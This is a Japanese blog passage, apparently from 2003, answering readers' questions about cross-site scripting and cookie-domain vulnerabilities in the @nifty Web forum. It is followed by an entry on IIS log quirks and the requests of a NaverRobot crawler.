また、そもそもこれによる被害は明るみに出ない性質のものです。ひそかに個人情報が盗まれて売却されていたとして、その被害に気づきますか？ 被害報告がないことをもって被害が発生していないと判断するのは早計に過ぎます。
残念ながらされていません。前の回答と重複しますが、対応されたのは Web フォーラム内部の書き込みで、これは問題の一つに過ぎません。未対応の問題がいくつも残っています。
やらないでください。自分でテストするだけなら良いですが、人を罠にはめると犯罪なので……。そもそも、普通の Web 制作の知識があれば、教えるまでもなく普通に思いつくと思います。って、自分で思いついても自分でテストするだけにしてくださいね。
していました。その exploit が実際に機能し、それに脅威を感じたからこそこれだけ素早く動いたのではないかと思います。そんなわけで、公開していた exploit は今は通らなくなっています。……公開していた分は、ですが。
ええと、まず日経 BP の記事を書いたのは私ではないので、その点ご理解ください。
それから、私が Web フォーラムに初めてログインしたのは 6月18日です。初めてログインしたときには、既に脆弱性の存在に気づいていました。ですから私などは最初から用心していたわけで、被害にはまず遭っていないだろうと思われます。特にあわてる必要もないわけです。
ただ、何も知らずに以前から Web フォーラムを利用していた方は、それは心配になるでしょう。何しろ自分の知らないうちに ID やパスワードが盗まれていて、密かに個人情報が盗まれているかも知れないわけですから。騒ぎすぎ、と言うことはないと思います。
そう考える人がいてもおかしくはないですね。しかし、そうは考えない人も多いはずです。ID とパスワードが盗まれると、個人情報が盗まれるだけでは済みませんしね。
クロスサイトスクリプティング脆弱性にはそれで対処できます。サニタイズが適切ならば、の話ですが。
しかし困ったことに、クロスサイトスクリプティング脆弱性とは関係のないセキュリティホールも存在しています。それは「Cookie のドメイン範囲の問題によって nifty.com 以下どこでもセッション Cookie が読める」という問題です。この問題の詳細は「XSS大王・さらなるホゥル」を参照していただきたいと思いますが、これはサニタイズの有無とは全く関係ない問題なので、すぐに修正することは難しいと思います。もちろん現時点では未修正です。
Web フォーラム (や、@niftyコミュニティ) にログイン後に Cookie操作装置 (http://hpcgi1.nifty.com/bakera/set-cookie.cgi ※現在 NOT Found です) のようなものにアクセスしてみて、PARAMD という Cookie の値が表示されるかどうか見てください。表示されていれば、セッション Cookie は簡単に盗める状態です。
どこにでもある、というご意見には同意します。クロスサイトスクリプティング脆弱性は、もういたるところに存在していて、もううんざりするほど見てきました。
ただ、今回の件で特に問題なのは、そこが会員のログインを要する場所であり、そのセッション Cookie が漏洩する問題があった点でしょう。同様に ID・パスワード漏洩の危険性もありましたが、これは @nifty のダイヤルアップ PPP 接続に使える他、もうありとあらゆることに使えてしまいます。
そんなわけで、ログイン機能を持たない掲示板とは少々事情が異なるものと思います。まあ、ログイン機能がなければ脆弱でも問題ない、というわけではないのですが……。
とりあえず、こんなところですか。
他にも質問がありましたら随時答えたいと思いますので、質問のある方はコメントとして書いてみてください。
更新: 2003年4月25日
だいぶ前から、こんな感じの不思議なログがあって気にはなっていたのですが。
GET /foo/ - 302
GET /foo/ - 403
※ここで foo は仮名ですが、そのディレクトリは存在しています。
いろいろ調べてみると、どうも GET /foo という末尾にスラッシュのないリクエストに対して /foo/ へのリダイレクトを発行したときに、GET /foo/ - 302 というログが残る模様。リクエストされたのは /foo なのに、ログには /foo/ と残ります。IIS が勝手に末尾にスラッシュをつけているようです。PATH_INFO が無くなってしまう点と言い、なんかどんどん IIS のログが信用できなくなってくるわけですが……。IIS6 では良くなっているのでしょうか。
ちなみにこのログが残るパターン、最近割と良く出現しているのですが、User-Agent は「dloader(NaverRobot)/1.0」で、見るからにロボットです。そもそも /foo をリクエストしている時点でおかしいと思うのですが、/foo/ へのリダイレクトを何度喰らっても一向に学習しないあたり、何とかならないのでしょうか。
※追記: ごめんなさい、誤解を招く記述でしたが、学習しないというのは 302 を理解しないという意味ではなくて、何度 302→403 を喰らっても懲りずに /foo をリクエストするのはちょっとなぁ、という話でした。
※さらに追記: しかし考えてみると、302 のレスポンスはむしろ Permanently な移転ではない、という意思表示な訳で、また別の機会にリクエストしたら違うレスポンスになる可能性があるわけです。なので、302 → 403 を喰らっても懲りないのは、むしろ正しい挙動だと思います。……って、実はえむけいさんに思いっきり突っ込まれたのですが。
ついでに調べてみると、ここ一週間ほどで 302 が発行されたのは、このロボットに対してだけでした。つまり /foo に外部からリンクされていたりする形跡も無いわけです。このロボットが勝手に上のディレクトリを参照しようとして、その時に末尾の / を落としているものと思われます。
※追記: これまたごめんなさい、実は外部から /foo/ に対するリンクがありました。でも /foo に対するリンクではなく /foo/ に対するリンクなので、それで /foo をリクエストするのも変なのですが。
……せっかくなのでこのロボットについてちょっと調べてみましたが、「robotはぢきについて (c-moon.jp)」というサイトの「その他・危険ロボット」の中にそれらしきものが……。あんまりよろしくないロボットらしいですね。
※ところで、User-Agent と言えば Some Gripes on User-Agent (http://www.dais.is.tohoku.ac.jp/logs/agentgripes.html) だったのですが、このサイトは消滅してしまったのでしょうか？ 便利だったのに……。
